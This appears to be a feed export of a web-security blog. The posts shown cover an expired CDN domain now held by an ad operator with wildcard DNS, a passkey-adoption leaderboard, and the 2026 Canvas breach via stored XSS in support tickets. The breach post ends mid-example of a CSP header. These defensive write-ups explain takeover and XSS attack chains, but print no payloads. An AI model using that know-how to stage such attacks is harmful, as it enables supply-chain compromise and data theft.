next ten years is not just getting more sites to turn these protections on, but helping them turn them on properly. Better defaults from platforms, clearer guidance from standards, and tooling that makes secure configuration easier will continue to move the web forward. The web has made real progress, but there is still a lot of value left on the table.</p><p></p><h3 id="get-the-data">Get the data</h3><p>As always, everything is open. The full per-metric files, the raw MySQL dump, and the daily crawl data are available via <a href="https://crawler.ninja/?ref=scotthelme.ghost.io">Crawler.Ninja</a>, there for anyone who wants to do a deeper dive than I have here.</p><p>Ten years in, the picture is genuinely mixed: the foundations are in great shape and getting better, the new isolation and reporting primitives are taking root, but the security-header long tail has barely moved and over half the web still scores an F. Plenty left to do.</p><p>And that&apos;s just the headers and hygiene. For the really interesting story this year &#x2014; TLS, certificates, the collapse of the one-year certificate, and post-quantum cryptography arriving on nearly half the web &#x2014; head over to <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-the-state-of-crypto/?ref=scotthelme.ghost.io" rel="noreferrer">part two</a> when it&apos;s published tomorrow. Here&apos;s to the next ten years, and hopefully not another four-year gap before the next report!</p><p></p><blockquote><em>*Crawl date: 13 June 2026. 819,002 responding sites from the Tranco Top 1 Million. Powered by </em><a href="https://crawler.ninja/?ref=scotthelme.ghost.io"><em>Crawler.Ninja</em></a><em> and </em><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><em>Report URI</em></a><em>.</em></blockquote><p></p>]]></content:encoded></item><item><title><![CDATA[A dead CDN, a wildcard, and an attack waiting to happen: the netdna-ssl.com takeover]]></title><description><![CDATA[<p>Every now and then I go digging through <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>&apos;s Threat Intelligence data feeds, looking for domains that show up in CSP reports where they really shouldn&apos;t. Last week one jumped out at me: <code>netdna-ssl.com</code>. If you&apos;ve been around the WordPress world</p>]]></description><link>https://scotthelme.ghost.io/a-dead-cdn-a-wildcard-and-an-attack-waiting-to-happen-the-netdna-ssl-com-takeover/</link><guid isPermaLink="false">6a3287bdc9b18e0001e1bb46</guid><category><![CDATA[Supply Chain Attack]]></category><category><![CDATA[Subresource Integrity]]></category><category><![CDATA[Content Security Policy]]></category><category><![CDATA[Threat Intelligence]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 24 Jun 2026 13:11:54 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/netdna-ssl.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/netdna-ssl.png" alt="A dead CDN, a wildcard, and an attack waiting to happen: the netdna-ssl.com takeover"><p>Every now and then I go digging through <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>&apos;s Threat Intelligence data feeds, looking for domains that show up in CSP reports where they really shouldn&apos;t. Last week one jumped out at me: <code>netdna-ssl.com</code>. If you&apos;ve been around the WordPress world for a while, that name might ring a bell &#x2014; and that&apos;s exactly the problem.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-4.png" class="kg-image" alt="A dead CDN, a wildcard, and an attack waiting to happen: the netdna-ssl.com takeover" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-4.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="what-netdna-sslcom-used-to-be">What netdna-ssl.com used to be</h3><p><code>netdna-ssl.com</code> was the asset domain behind MaxCDN, the CDN that started life as NetDNA back in 2010. If you were a WP Engine customer on their &quot;Legacy Network&quot;, your static assets &#x2014; JS, CSS, fonts, images, PDFs &#x2014; were served from a host that looked like this:</p><pre><code>&lt;site-hash&gt;.wpengine.netdna-ssl.com
    </code></pre><p></p><p>MaxCDN got swallowed by StackPath in 2016, the brand was retired at the end of 2022, and StackPath&apos;s CDN ceased operations in late 2023. WP Engine had been steering people onto their Advanced Network for years. Job done, right?</p><p>Except the domain itself was allowed to expire. And on 24th July 2025, somebody re-registered it.</p><p></p><h3 id="who-owns-it-now">Who owns it now</h3><p>A quick RDAP lookup tells the story:</p><pre><code>$ curl -s https://rdap.verisign.com/com/v1/domain/netdna-ssl.com
      registration   2025-07-24T18:13:09Z
      expiration     2027-07-24T18:13:09Z
      nameservers    JACK.NS.CLOUDFLARE.COM, MEILING.NS.CLOUDFLARE.COM
      registrar      Gname.com Pte. Ltd.
    </code></pre><p></p><p>It&apos;s now sitting on Cloudflare nameservers, registered through Gname, and the apex serves this:</p><pre><code>$ curl -s https://netdna-ssl.com/ | grep -io &apos;&lt;title&gt;[^&lt;]*&lt;/title&gt;&apos;
    &lt;title&gt;Snapinsta - Download Instagram Videos, Reels, Stories for FREE&lt;/title&gt;
    </code></pre><p></p><p>A &quot;Snapinsta&quot; Instagram-downloader page, wired up to Google AdSense and Tag Manager. So an unrelated third party with an ad-monetisation motive now owns a domain that thousands of sites still pull assets from. You can probably see where this is going.</p><p></p><h3 id="the-wildcard">The wildcard</h3><p>Here&apos;s the part that really caught my eye. The new owner holds wildcard DNS across the entire <code>*.wpengine.netdna-ssl.com</code> namespace. I can prove it by asking for a hostname that I just invented:</p><pre><code>$ dig +short test123random.wpengine.netdna-ssl.com
    104.21.72.58
    172.67.175.240
    </code></pre><p></p><p>That resolves. Every legacy <code>&lt;hash&gt;.wpengine.netdna-ssl.com</code> asset URL still floating around in themes, docs and databases now points at infrastructure the original owner doesn&apos;t control.</p><p></p><h3 id="why-it-isnt-on-fire-yet">Why it isn&apos;t on fire yet</h3><p>It&apos;s tempting to overstate this, but I want to be honest. The apex and <code>wpengine.netdna-ssl.com</code> are live over HTTPS today. But the <em>deep</em> asset hostnames &#x2014; the actual <code>&lt;hash&gt;.wpengine.netdna-ssl.com</code> URLs that pages reference &#x2014; currently fail the TLS handshake:</p><pre><code>$ openssl s_client -connect netdna-ssl.com:443 \
        -servername wrz...gpg.wpengine.netdna-ssl.com
    ... sslv3 alert handshake failure
    </code></pre><p></p><p>The reason is mundane. The Cloudflare Universal SSL cert on the edge only covers:</p><pre><code>DNS:netdna-ssl.com, DNS:proxy.netdna-ssl.com, DNS:*.proxy.netdna-ssl.com
    </code></pre><p></p><p>No <code>*.wpengine.netdna-ssl.com</code>. So right now those legacy <code>script-src</code> and <code>font-src</code> requests break rather than execute attacker code.</p><p>But make no mistake &#x2014; this is a loaded gun, not a safe one. Closing that gap is a single toggle in Cloudflare&apos;s Advanced Certificate Manager. The DNS control is already total, the monetisation is already running. The day a <code>*.wpengine.netdna-ssl.com</code> certificate gets issued, this flips from &quot;broken asset&quot; to &quot;arbitrary JavaScript executing in thousands of pages.&quot;</p><p></p><h3 id="how-big-is-the-blast-radius">How big is the blast radius?</h3><p>A GitHub code search for <code>wpengine.netdna-ssl.com</code> returns <em>nearly 4,000 files</em> at the time of writing. Not hypothetical, either &#x2014; these are real references in real projects:</p><ul><li><code>mozilla/webxr-polyfill</code> loads its web fonts (<code>@font-face</code>, Zilla Slab) from a <code>&#x2026;-wpengine.netdna-ssl.com</code> host</li><li>Kong, Nextcloud, the Yale Daily News, NCSS, Server Density&#x2026; the list goes on</li></ul><p></p><p>To be precise: that&apos;s the scale of residual <em>references</em>, not 4,000 confirmed-vulnerable live sites. But every rendered page that still emits one of these URLs is sending its visitors&apos; browsers to a domain owned by an ad operator.</p><p></p><h3 id="this-isnt-a-forgotten-backwater-%E2%80%94-its-a-top-20000-domain">This isn&apos;t a forgotten backwater &#x2014; it&apos;s a top 20,000 domain</h3><p>You might reasonably assume a dead CDN domain gets no real traffic, and that those GitHub hits are just fossils sitting in repos nobody runs. They&apos;re not. Cloudflare Radar <a href="https://radar.cloudflare.com/domains/domain/netdna-ssl.com?ref=scotthelme.ghost.io" rel="noreferrer">ranks netdna-ssl.com</a> inside the top 20,000 domains globally. That&apos;s a popularity bucket measured from live DNS resolver data &#x2014; real browsers are still resolving this name today, in volume. Cloudflare&apos;s own <a href="https://radar.cloudflare.com/scan/4b4f0d48-bf40-4123-862f-8bf1752b6bb4/summary?ref=scotthelme.ghost.io" rel="noreferrer">URL scan</a> of the domain confirms what&apos;s being served at the other end of those requests. So this isn&apos;t a theoretical risk built on a code-search number; it&apos;s a domain with genuine, current reach that an unrelated ad operator now controls.</p><p></p><h3 id="weve-seen-this-exact-movie-before">We&apos;ve seen this exact movie before</h3><p>If this feels familiar, it&apos;s because it&apos;s the <a href="https://scotthelme.co.uk/warning-users-of-the-polyfill-io-supply-chain-attack/?ref=scotthelme.ghost.io" rel="noreferrer">polyfill.io attack from June 2024</a> wearing different clothes. There, a domain everyone trusted changed hands, and ~100,000+ sites inherited the new owner&apos;s intent overnight. Same root cause every time: we pin our trust to a domain, not to the code. When the domain changes hands, every site that referenced it gets dragged along.</p><p>The difference here is timing. <code>polyfill.io</code> fired immediately. <code>netdna-ssl.com</code> is pre-positioned but currently dormant &#x2014; which means, for once, there&apos;s a window to fix it <em>before</em> it goes off.</p><p></p><h3 id="what-to-actually-do">What to actually do</h3><p>If you want to take some immediate steps to make sure this potential issue doesn&apos;t impact you:</p><ol><li>Grep your sites. Search your HTML, themes, and database for <code>netdna-ssl.com</code>, <code>netdna-cdn.com</code> and <code>*.wpengine.netdna-ssl.com</code>. Remove or rehost anything you find. WP Engine customers: get off the Legacy Network and onto the Advanced Network / GES.</li><li>Use SRI. Subresource Integrity on third-party <code>&lt;script&gt;</code> and <code>&lt;link&gt;</code> tags means a swapped file <em>fails closed</em> instead of executing. (It won&apos;t save your fonts or images, mind you &#x2014; there&apos;s no SRI for those.)</li><li>Lock down CSP &#x2014; and report on it. A tight <code>script-src</code> / <code>font-src</code> / <code>connect-src</code> stops the loaded gun firing in your pages, and <code>report-uri</code> / <code>report-to</code> lets you <em>detect</em> these references in the wild. That&apos;s not a sales pitch, it&apos;s literally how I found this one &#x2014; it turned up in CSP reports.</li></ol><p></p><p>Audit your dependencies. Not just the npm ones &#x2014; the DNS ones too. The domains you stopped thinking about years ago are exactly the ones somebody else is hoping you forgot.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Why No Passkeys? Naming the Top Sites That Still Don't Support Them]]></title><description><![CDATA[<p>Back in 2017, Troy Hunt and I built a little website called <a href="https://whynohttps.com/?ref=scotthelme.ghost.io">whynohttps.com</a>. The idea was simple: take the most popular sites on the internet, check which ones still weren&apos;t redirecting visitors to HTTPS, and put the laggards on a list for everyone to see. No lecture,</p>]]></description><link>https://scotthelme.ghost.io/why-no-passkeys-naming-the-top-sites-that-still-dont-support-them/</link><guid isPermaLink="false">6a327b74c9b18e0001e1bb2e</guid><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 22 Jun 2026 13:22:10 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/why-no-passkeys-hero.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/why-no-passkeys-hero.png" alt="Why No Passkeys? Naming the Top Sites That Still Don&apos;t Support Them"><p>Back in 2017, Troy Hunt and I built a little website called <a href="https://whynohttps.com/?ref=scotthelme.ghost.io">whynohttps.com</a>. The idea was simple: take the most popular sites on the internet, check which ones still weren&apos;t redirecting visitors to HTTPS, and put the laggards on a list for everyone to see. No lecture, no 40-page report, just a leaderboard of who hadn&apos;t done the thing yet. It turned out that a list is a surprisingly effective motivator. Nobody wants to be on the list.</p><p>We&apos;re at exactly the same moment again, but this time the technology is passkeys. So, Troy provided the domain, and I&apos;ve built the obvious sequel: <a href="https://whynopasskeys.com/?ref=scotthelme.ghost.io"><strong>whynopasskeys.com</strong></a></p><p></p><figure class="kg-card kg-image-card"><a href="https://whynopasskeys.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-9.png" class="kg-image" alt="Why No Passkeys? Naming the Top Sites That Still Don&apos;t Support Them" loading="lazy" width="867" height="412" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-9.png 867w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="weve-already-had-the-passkeys-argument">We&apos;ve already had the passkeys argument</h3><p>Don&apos;t worry, I&apos;m not going to tread the same ground again. I&apos;ve written plenty about passkeys already, from <a href="https://scotthelme.co.uk/passkeys-101-an-introduction-to-passkeys-and-how-they-work/?ref=scotthelme.ghost.io">Passkeys 101</a> covering how they actually work, to the <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/?ref=scotthelme.ghost.io">sharper edges of the threat model</a> that nobody seems to be talking about. The short version is the part that matters here: passkeys are phishing-resistant by design. They&apos;re hard to phish, they can&apos;t leak in a breach, and they can&apos;t be replayed. Whether a passkey replaces your password entirely, or just backs a password up as a 2FA mechanism, it removes a whole category of attacks that we&apos;ve been fighting, and losing, for decades.</p><p>The technology works and it&apos;s widely supported. We aren&apos;t waiting on engineering, we&apos;re waiting on <em>adoption</em>. And just like HTTPS in 2017, the thing standing between users and a meaningfully more secure internet is a long list of websites that haven&apos;t gotten around to it yet.</p><p>That&apos;s the gap I want to make visible.</p><p></p><h3 id="what-the-site-shows">What the site shows</h3><p><a href="https://whynopasskeys.com/?ref=scotthelme.ghost.io" rel="noreferrer">whynopasskeys.com</a> takes the world&apos;s most popular websites and tells you which ones support passkeys and which ones don&apos;t. There&apos;s a global Top 25, and there are per-country lists so you can see how your own corner of the internet is doing, covering well over a hundred countries.</p><p>The launch-day headline number is the whole reason this site exists:</p><p></p><blockquote><strong>7 of the top 25 sites globally still have no passkey support. That&apos;s 28% of the most-visited destinations on the internet.</strong></blockquote><p></p><p>If they do not support passkeys, passkeys still feel optional everywhere else, and these aren&apos;t small shops without a security team. The current no-passkeys list at the top end includes names like Instagram, Netflix, Spotify, Samsung, Roblox and Baidu. Sites with hundreds of millions, in some cases billions, of accounts, all still protected by nothing more than a password and possibly MFA. These are the sites that shape user expectations.</p><p>I&apos;ve also tried to be honest in the <em>other</em> direction, because &quot;supports passkeys&quot; is doing a lot of work as a phrase. A site that lets you log in with a passkey and skip the password entirely is in a very different place to one that only allows a passkey as a second factor on top of your existing password. So where I can, the list distinguishes between passwordless passkey support and MFA-only support. </p><p></p><h3 id="how-its-built">How it&apos;s built</h3><p>People asked the same thing about whynohttps.com all those years ago, so let me get ahead of it: how do you know?</p><p>For ranking the sites I use <a href="https://radar.cloudflare.com/domains?ref=scotthelme.ghost.io">Cloudflare Radar</a> for the global and US lists, which is about as good a successor to the old Alexa rankings as we have, and the <a href="https://tranco-list.eu/?ref=scotthelme.ghost.io">Tranco</a> list for per-country rankings, attributing sites to countries by their national domain so you get <em>that country&apos;s</em> popular sites rather than the same handful of global giants on every page. There&apos;s a fair bit of unglamorous plumbing to strip out the CDNs, ad networks and API endpoints that clog up raw rankings, because nobody needs to know whether an analytics beacon supports passkeys.</p><p>The passkey support data itself comes from our <a href="https://github.com/ScottHelme/passkeys-directory/issues?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-directory</a>, a community-maintained list. This is the honest limitation of the whole project, and I&apos;d rather say it out loud than have someone &quot;gotcha&quot; me with it: <em>passkey support cannot be reliably auto-detected.</em> WebAuthn lives behind a login flow, so there&apos;s no header to scan and no endpoint to probe the way there was with HTTPS. The list is therefore only as complete as the directory it draws from.</p><p>Which leads nicely to the most important feature.</p><p></p><h3 id="if-a-site-is-wrong-you-can-fix-it">If a site is wrong, you can fix it!</h3><p>Every &quot;No passkeys&quot; entry on the site links straight to a way to correct it. If a site <em>does</em> support passkeys and we&apos;ve got it wrong, the fix is to <a href="https://github.com/ScottHelme/passkeys-directory/issues?ref=scotthelme.ghost.io" rel="noreferrer">submit it to our passkeys-directory</a>, which improves the data for the whole community, not just my little list. I would genuinely love for this site to get less accurate over time, in the sense that I have to keep moving names from the red column to the green one.</p><p>Because that&apos;s the actual goal. whynohttps.com wasn&apos;t really about the shaming, satisfying as it was. It was about giving people a clear, sharable, undeniable picture of where we were, so that the conversation inside these companies shifted from &quot;should we?&quot; to &quot;why are we on this list?&quot;. HTTPS went from a &apos;nice-to-have&apos; to being &apos;essential&apos; in a remarkably short space of time, and a bit of friendly public accountability was part of that.</p><p>Passkeys are at the same crossroads now. The sites at the top of these lists set the tone for everyone else. When the biggest names make passkeys popular, it stops being exotic and starts being expected.</p><p></p><h3 id="a-note-for-the-sites-doing-the-work">A note for the sites doing the work</h3><p>If you&apos;re rolling passkeys out, brilliant. It&apos;s harder than it looks to do well, and the threat model has subtleties that bite you precisely <em>because</em> passkeys are so strong everywhere else, which is the whole reason we <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io">had our own implementation independently security tested</a> before we shipped it. If you&apos;re standing up passkeys and want visibility into what&apos;s actually happening in your users&apos; browsers during sign-in, that&apos;s exactly the kind of thing <a href="https://report-uri.com/?ref=scotthelme.ghost.io">Report URI</a> is built to watch. The best time to know your auth flow is misbehaving is before your users tell you.</p><p></p><h3 id="go-and-have-a-look">Go and have a look</h3><p><a href="https://whynopasskeys.com/?ref=scotthelme.ghost.io">whynopasskeys.com</a> is live. Go and find your favourite sites, find your country, and if there&apos;s a name on there that really ought to know better, share it with them. The fastest way to get a site off the list is for enough of its users to ask why it&apos;s on there in the first place.</p><p>And if you run one of these sites: you already know what to do. Let&apos;s get you off the list.</p><p></p>]]></content:encoded></item><item><title><![CDATA[The Instructure Canvas Breach (2026): How XSS in a Support Ticket Compromised 275 Million Students]]></title><description><![CDATA[<p>A single support ticket became the front door to 275 million student records. The Canvas breach shows how quickly untrusted user content can become a serious security incident when it is rendered inside privileged internal tooling. This was not an exotic attack chain; it was stored XSS, over-scoped access,</p>]]></description><link>https://scotthelme.ghost.io/the-instructure-canvas-breach-2026-how-xss-in-a-support-ticket-compromised-275-million-students/</link><guid isPermaLink="false">6a2454a32b2c280001660ce5</guid><category><![CDATA[XSS]]></category><category><![CDATA[CSP]]></category><category><![CDATA[SRI]]></category><category><![CDATA[Report URI]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 15 Jun 2026 12:21:15 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/instructure-canvas.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/instructure-canvas.png" alt="The Instructure Canvas Breach (2026): How XSS in a Support Ticket Compromised 275 Million Students"><p>A single support ticket became the front door to 275 million student records. The Canvas breach shows how quickly untrusted user content can become a serious security incident when it is rendered inside privileged internal tooling. This was not an exotic attack chain; it was stored XSS, over-scoped access, and a missing browser-enforced safety net. The fix is cheap. The consequences of ignoring it are not.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-2.png" class="kg-image" alt="The Instructure Canvas Breach (2026): How XSS in a Support Ticket Compromised 275 Million Students" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-2.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>In April and May 2026, the cybercrime group ShinyHunters compromised Instructure&apos;s Canvas &#x2014; the learning platform used by roughly 275 million students at 8,809 schools and universities worldwide &#x2014; by exploiting a stored cross-site scripting (XSS) vulnerability in the free-tier support ticket system. A malicious file attached to a single help-desk ticket fired inside a Canvas employee&apos;s authenticated session when they opened it, handing the attacker cross-tenant API access to every paying institution on the platform. Canvas went offline mid-finals and during AP exams, an alleged $10 million ransom was reportedly paid, and both the US Congress and the US Department of Education opened inquiries. The architectural pattern that made this possible &#x2014; unauthenticated user content rendered inside privileged admin tooling, on infrastructure shared between free and paying tenants &#x2014; exists in most SaaS estates I&apos;ve seen. The first line of defence is often just a single HTTP header.</p><p></p><h3 id="a-note-before-we-start-%E2%80%94-whats-confirmed-and-what-isnt">A note before we start &#x2014; what&apos;s confirmed and what isn&apos;t</h3><p>Before I get into the details, I want to be clear about what I know and what I&apos;m inferring, because the public record on this incident is uneven at best and I don&apos;t want to mislead.</p><p><strong>What is confirmed</strong>, either by Instructure directly (their incident update page and their customer webinar) or via Phil Hill&apos;s coverage of that webinar at On EdTech, the &quot;linked file with hidden code&quot; phrasing, the April 22 &#x2192; April 25 &#x2192; April 28&#x2013;30 timeline, the customer-service representative whose session was used to call Canvas&apos;s APIs, the second XSS in the discussion feature on May 7, the use of the custom-themes feature to deploy a CSS file, and the ~300-account defacement scope. The data categories exposed are also confirmed.</p><p><strong>What I am inferring</strong>, and what you should treat as my reading rather than disclosed fact: the <em>exact</em> nature of the &quot;linked file&quot; payload (Instructure has not said whether it was an HTML attachment, an SVG, a document previewer exploit, or something else); the architectural claim that the help-desk rep&apos;s session had cross-tenant API reach (I feel this is the most plausible explanation for how a single rep&apos;s session led to data exfiltration across 8,809 institutions, but Instructure has not described their internal session model publicly that I can find); the specific privilege level the second XSS achieved; and obviously every claim I make about what a CSP would or wouldn&apos;t have stopped, which is an analytical argument rather than a counterfactual we can actually run. If you do happen to have the malicious payload, please let me know.</p><p>Where I speculate, I&apos;ll flag it and make it clear. Where I state something as fact, it&apos;s from the sources you can find at the end of the post. Now, let&apos;s dig in.</p><p></p><h3 id="how-did-the-canvas-breach-actually-happen">How did the Canvas breach actually happen?</h3><p>Instructure has since done a customer webinar with their Chief Architect Zach Pendleton, their CISO Steve Proud, and CrowdStrike&apos;s Head of Incident Response James Perry. Between that, their incident update page, and Phil Hill&apos;s coverage at On EdTech, here&apos;s the timeline I can put together:</p><p></p><table>
    <thead>
    <tr>
    <th>Date</th>
    <th>Event</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td><strong>22 Apr 2026</strong></td>
    <td>A Free-for-Teacher user opens a Canvas support ticket containing, in Instructure&apos;s own phrasing, <em>&quot;a linked file with hidden code.&quot;</em> In plain English: a stored XSS payload, delivered as a file rather than as inline HTML.</td>
    </tr>
    <tr>
    <td><strong>25 Apr 2026</strong></td>
    <td>A Canvas customer-service representative opens the ticket. The payload fires <em>&quot;in the rep&apos;s authenticated session.&quot;</em></td>
    </tr>
    <tr>
    <td><strong>28&#x2013;30 Apr 2026</strong></td>
    <td>The attacker uses that session to call Canvas&apos;s APIs and exfiltrate usernames, email addresses, course names, enrolment information and in-product messages.</td>
    </tr>
    <tr>
    <td><strong>29 Apr 2026</strong></td>
    <td>Instructure detects the activity. Access revoked by 30 April.</td>
    </tr>
    <tr>
    <td><strong>7 May 2026</strong></td>
    <td>A <em>second</em>, separate stored XSS &#x2014; this one in the Canvas discussion feature, exploited via a different code path &#x2014; is used to push a malicious CSS file through Canvas&apos;s &quot;custom themes&quot; feature, deploying a ransom note onto the login portals of roughly 300 schools.</td>
    </tr>
    <tr>
    <td><strong>7 May 2026, PM</strong></td>
    <td>Canvas is taken offline mid-finals.</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>That&apos;s the whole chain. Two separate stored XSS bugs, one privileged session, one cross-tenant API surface, and one feature working as designed (custom themes) used as the final defacement primitive. ShinyHunters claim 3.65 TB of data and 8,809 institutions affected. Instructure reportedly settled.</p><p></p><h3 id="how-did-the-support-ticket-become-an-xss-vector">How did the support ticket become an XSS vector?</h3><p>This is the part that I think most people are missing in their coverage: the original vector was an XSS attack. Having an XSS vulnerability in your application is going to be bad even in the best of scenarios, but a help-desk ticketing system with an XSS vulnerability introduces some extra concerns.</p><p></p><ol><li><strong>The input is untrusted by definition.</strong> Anybody can open a ticket. In Canvas&apos;s case, anybody could open a <em>Free-for-Teacher</em> account &#x2014; no institutional verification, no payment, no identity &#x2014; and then open a ticket from inside that account.</li><li><strong>The output is rendered in a privileged context.</strong> Support reps look at tickets all day, every day, in internal tooling that almost always has authenticated sessions to backend admin systems.</li><li><strong>Those sessions are usually wider than any single customer.</strong> A customer-service rep needs to look at <em>anybody&apos;s</em> tickets, so their session typically carries authority across the estate &#x2014; every tenant, every paying institution, every API. I want to flag that I&apos;m inferring this part about Canvas specifically; Instructure has not publicly described the scope of their help-desk session model. But the outcome &#x2014; a single rep&apos;s session leading to data exfiltration across thousands of institutions &#x2014; I feel is difficult to explain any other way.</li></ol><p></p><p>Combine those three and what you have is a cross-tenant privilege escalation primitive disguised as a help-desk form. The user is unauthenticated to your paying customers&apos; data; the rep who opens their ticket is authenticated to (probably) all of it. The XSS vulnerability is the bridge.</p><p>We don&apos;t know exactly what the <em>&quot;linked file with hidden code&quot;</em> was. It feels like the phrasing is deliberately vague, and what follows is my own speculation, rather than disclosed fact. To my reading, it implies the payload wasn&apos;t simply HTML or JavaScript pasted into the ticket body &#x2014; which would have hit Canvas&apos;s existing HTML sanitiser, <code>canvas_sanitize</code>. It was a file. Plausible candidates, in no particular order:</p><p></p><ul><li>An HTML or SVG file attachment, rendered inline in the ticket viewer without a sandboxed iframe.</li><li>A linked URL whose contents got fetched and rendered as a preview by the help-desk UI.</li><li>A document attachment processed by a previewer (Canvas uses Canvadocs / DocViewer for inline document previews; this code path has had CVEs before).</li></ul><p></p><p>I want to be honest that this is informed guesswork. Instructure may yet publish more detail, and if they do I&apos;ll happily come back and correct this section. But whether it was one of these options or something else entirely, the lesson is the same and it&apos;s an old one: never render untrusted content in the same origin as your privileged tooling. If you absolutely must preview attachments inline, do it from a sandboxed origin that has no cookies for anything important. Document previewers, in particular, should live on a <code>usercontent.example.com</code>-style cookieless sibling domain, exactly the way Google Docs, GitHub user content or other SaaS products handle user-uploaded files.</p><p></p><h3 id="how-did-the-second-xss-lead-to-the-login-portal-defacement">How did the second XSS lead to the login portal defacement?</h3><p>After Instructure plugged the support-ticket hole on April 30, ShinyHunters came back through a fresh XSS &#x2014; this one in the discussion feature, which is exactly the user-generated-content surface you&apos;d worry about in an LMS. Discussions in Canvas accept rich text, math equations, embedded media, and a long tail of the kind of HTML constructs that make sanitiser writers cry.</p><p>That, presumably, gave them administrator-level access again &#x2014; Instructure hasn&apos;t spelled out exactly which privilege level the second XSS reached, but the subsequent abuse of an admin-only feature is consistent with admin sessions. Once they had that access, they didn&apos;t need another vulnerability for the defacement &#x2014; they used the platform&apos;s intended administrator feature, &quot;custom themes,&quot; to push a malicious CSS file out to login pages.</p><p>This is worth pausing on. The defacement itself was not exploiting a bug. It was exploiting a <em>feature</em> &#x2014; one that exists because institutions want to brand their login pages. Once an attacker has admin-tier access, they have legitimate access to the customisation primitive. The XSS was just the route to admin.</p><p>So when we read that Canvas &quot;pushed a CSS file through the custom themes feature,&quot; what&apos;s actually happening is: stored XSS in discussions &#x2192; privileged session theft &#x2192; legitimate themes API call &#x2192; CSS deployed to ~300 login portals &#x2192; ransom note visible to students opening the app during AP exams. The chain looks complicated; each individual step is mundane.</p><p></p><h3 id="what-would-csp-have-actually-stopped">What would CSP have actually stopped?</h3><p>This is the part that matters to me, and I get asked all the time whether CSP &quot;would have stopped&quot; some breach or another, and the honest answer is usually &quot;it depends which part of the breach.&quot;</p><p>Caveat up front: this entire section is analytical. We don&apos;t know what Instructure&apos;s CSP posture was on the help-desk UI, the discussion-rendering pages, or the tenant login portals at the time of the incident. The claims below are about what a <em>suitably strict</em> CSP would have done in principle &#x2014; not a critique of any specific policy Instructure may or may not have had in place. With that flagged, let&apos;s go stage by stage.</p><p><strong>Stage one: the support-rep XSS.</strong> A strict, nonce-based CSP on Instructure&apos;s internal help-desk UI could very plausibly have broken this stage of the attack chain. The payload was running script &#x2014; in the rep&apos;s authenticated session, which is the textbook thing CSP is designed to prevent. A policy along the lines of:</p><p></p><pre><code>Content-Security-Policy:
      default-src &apos;self&apos;;
      script-src &apos;self&apos; &apos;nonce-{random}&apos;;
      style-src &apos;self&apos; &apos;nonce-{random}&apos;;
      object-src &apos;none&apos;;
      base-uri &apos;none&apos;;
      frame-ancestors &apos;none&apos;;
